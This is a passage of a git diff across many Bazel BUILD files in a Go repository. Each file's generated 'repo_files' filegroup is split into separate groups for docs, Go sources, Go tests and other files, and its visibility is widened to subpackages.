+61,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -75,7 +114,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/ceiling/BUILD.bazel b/internal/ceiling/BUILD.bazel index 7de0ab073..bd1679cf3 100644 --- a/internal/ceiling/BUILD.bazel +++ b/internal/ceiling/BUILD.bazel @@ -16,12 +16,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/compact/BUILD.bazel b/internal/compact/BUILD.bazel index 3ff08a678..412850425 100644 --- a/internal/compact/BUILD.bazel +++ b/internal/compact/BUILD.bazel @@ -44,12 +44,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -58,7 +97,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/config/BUILD.bazel b/internal/config/BUILD.bazel index f2c2496a1..d3f96ab1e 100644 --- a/internal/config/BUILD.bazel +++ b/internal/config/BUILD.bazel @@ -71,12 +71,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -85,7 +124,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/configfile/BUILD.bazel b/internal/configfile/BUILD.bazel index 0d67a72a5..8e3dc50ba 100644 --- a/internal/configfile/BUILD.bazel +++ b/internal/configfile/BUILD.bazel @@ -36,12 +36,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -50,7 +89,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/creds/BUILD.bazel b/internal/creds/BUILD.bazel index ad796d4c1..950107cc8 100644 --- a/internal/creds/BUILD.bazel +++ b/internal/creds/BUILD.bazel @@ -24,12 +24,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -38,7 +77,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/debug/BUILD.bazel b/internal/debug/BUILD.bazel index f23f1e5c8..41622cf53 100644 --- a/internal/debug/BUILD.bazel +++ b/internal/debug/BUILD.bazel @@ -16,12 +16,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/doltremote/BUILD.bazel b/internal/doltremote/BUILD.bazel index d0299f657..071ef320d 100644 --- a/internal/doltremote/BUILD.bazel +++ b/internal/doltremote/BUILD.bazel @@ -23,12 +23,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -37,7 +76,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/doltserver/BUILD.bazel b/internal/doltserver/BUILD.bazel index 7fd648465..c1a3fe5c9 100644 --- a/internal/doltserver/BUILD.bazel +++ b/internal/doltserver/BUILD.bazel @@ -197,12 +197,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -211,7 +250,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/doltversion/BUILD.bazel b/internal/doltversion/BUILD.bazel index d49ef74b1..b4a71ebc9 100644 --- a/internal/doltversion/BUILD.bazel +++ b/internal/doltversion/BUILD.bazel @@ -30,12 +30,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -44,7 +83,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/eventsjournal/BUILD.bazel b/internal/eventsjournal/BUILD.bazel index 2b16a7c91..f2f9f8d85 100644 --- a/internal/eventsjournal/BUILD.bazel +++ b/internal/eventsjournal/BUILD.bazel @@ -33,12 +33,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -47,7 +86,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/execenv/BUILD.bazel b/internal/execenv/BUILD.bazel index 7ab55c24f..583409cf8 100644 --- a/internal/execenv/BUILD.bazel +++ b/internal/execenv/BUILD.bazel @@ -16,12 +16,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/fdhygiene/BUILD.bazel b/internal/fdhygiene/BUILD.bazel index ef2066d5a..388486b06 100644 --- a/internal/fdhygiene/BUILD.bazel +++ b/internal/fdhygiene/BUILD.bazel @@ -92,12 +92,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -106,7 +145,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/formula/BUILD.bazel b/internal/formula/BUILD.bazel index a7377a78d..7eaf0ac9c 100644 --- a/internal/formula/BUILD.bazel +++ b/internal/formula/BUILD.bazel @@ -55,12 +55,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -69,7 +108,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/formula/cmd/schemagen/BUILD.bazel b/internal/formula/cmd/schemagen/BUILD.bazel index aa9497029..65099f5f3 100644 --- a/internal/formula/cmd/schemagen/BUILD.bazel +++ b/internal/formula/cmd/schemagen/BUILD.bazel @@ -17,12 +17,51 @@ go_binary( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +70,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/formula/schemagen/BUILD.bazel b/internal/formula/schemagen/BUILD.bazel index fdcbe2f97..d37f04761 100644 --- a/internal/formula/schemagen/BUILD.bazel +++ b/internal/formula/schemagen/BUILD.bazel @@ -10,12 +10,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -24,7 +63,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/git/BUILD.bazel b/internal/git/BUILD.bazel index e36e0ec55..3a7da4a9d 100644 --- a/internal/git/BUILD.bazel +++ b/internal/git/BUILD.bazel @@ -25,12 +25,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -39,7 +78,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/gitenv/BUILD.bazel b/internal/gitenv/BUILD.bazel index b9317dac6..d87d84ee6 100644 --- a/internal/gitenv/BUILD.bazel +++ b/internal/gitenv/BUILD.bazel @@ -17,12 +17,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +70,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/githooksenv/BUILD.bazel b/internal/githooksenv/BUILD.bazel index 0dfbf2c9b..ef95ce5a2 100644 --- a/internal/githooksenv/BUILD.bazel +++ b/internal/githooksenv/BUILD.bazel @@ -17,12 +17,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +70,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/github/BUILD.bazel b/internal/github/BUILD.bazel index 8062dd22a..309a1d401 100644 --- a/internal/github/BUILD.bazel +++ b/internal/github/BUILD.bazel @@ -42,12 +42,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -56,7 +95,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/gitignore/BUILD.bazel b/internal/gitignore/BUILD.bazel index 3ec14028e..1f3a63467 100644 --- a/internal/gitignore/BUILD.bazel +++ b/internal/gitignore/BUILD.bazel @@ -16,12 +16,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/gitlab/BUILD.bazel b/internal/gitlab/BUILD.bazel index 1ae60e524..dfdb4d11b 100644 --- a/internal/gitlab/BUILD.bazel +++ b/internal/gitlab/BUILD.bazel @@ -41,12 +41,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -55,7 +94,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/gittraceenv/BUILD.bazel b/internal/gittraceenv/BUILD.bazel index d3ab9ec8e..f5f7b10a2 100644 --- a/internal/gittraceenv/BUILD.bazel +++ b/internal/gittraceenv/BUILD.bazel @@ -17,12 +17,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +70,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/hooks/BUILD.bazel b/internal/hooks/BUILD.bazel index 3c6e1590b..f389164a2 100644 --- a/internal/hooks/BUILD.bazel +++ b/internal/hooks/BUILD.bazel @@ -217,12 +217,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = 